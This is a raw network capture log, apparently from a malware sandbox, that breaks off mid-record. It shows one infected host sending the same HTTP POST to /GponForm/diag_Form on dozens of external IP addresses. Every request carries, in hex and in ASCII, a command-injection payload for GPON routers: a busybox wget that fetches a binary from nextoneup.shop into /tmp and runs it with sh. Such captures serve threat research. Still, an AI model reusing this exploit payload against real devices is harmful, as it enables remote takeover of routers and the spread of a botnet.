XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.13	48468	42.12.56.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745121002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.13	46866	37.86.198.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745143890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.13	43142	202.224.162.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745166063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.13	56268	202.129.90.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745201111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.13	41556	123.46.182.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745228052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.13	55694	117.117.101.5	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745239019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.13	46698	37.89.33.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745279074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.13	59624	202.110.108.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745328903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.13	35484	117.181.19.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745330095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.13	50366	178.134.127.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745359898 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.13	48670	42.147.65.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745384932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.13	56128	117.107.30.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745414019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.13	45956	118.74.55.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745443106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.13	36674	5.171.184.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745477915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.13	42414	94.25.107.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745515108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.13	60294	5.193.21.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745546103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.13	54338	37.182.182.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745593071 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.13	42132	117.132.127.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745600939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.13	40132	212.27.239.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745625973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.13	46026	123.225.195.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745657921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.13	57476	42.139.187.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745695114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.13	40298	42.177.35.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745707989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.13	60266	202.125.93.11	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745728970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.13	48952	210.150.104.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745784044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.13	55214	117.103.124.215	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745812893 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.13	43210	178.25.125.192	443

Timestamp	Bytes transferred	Direction	Data
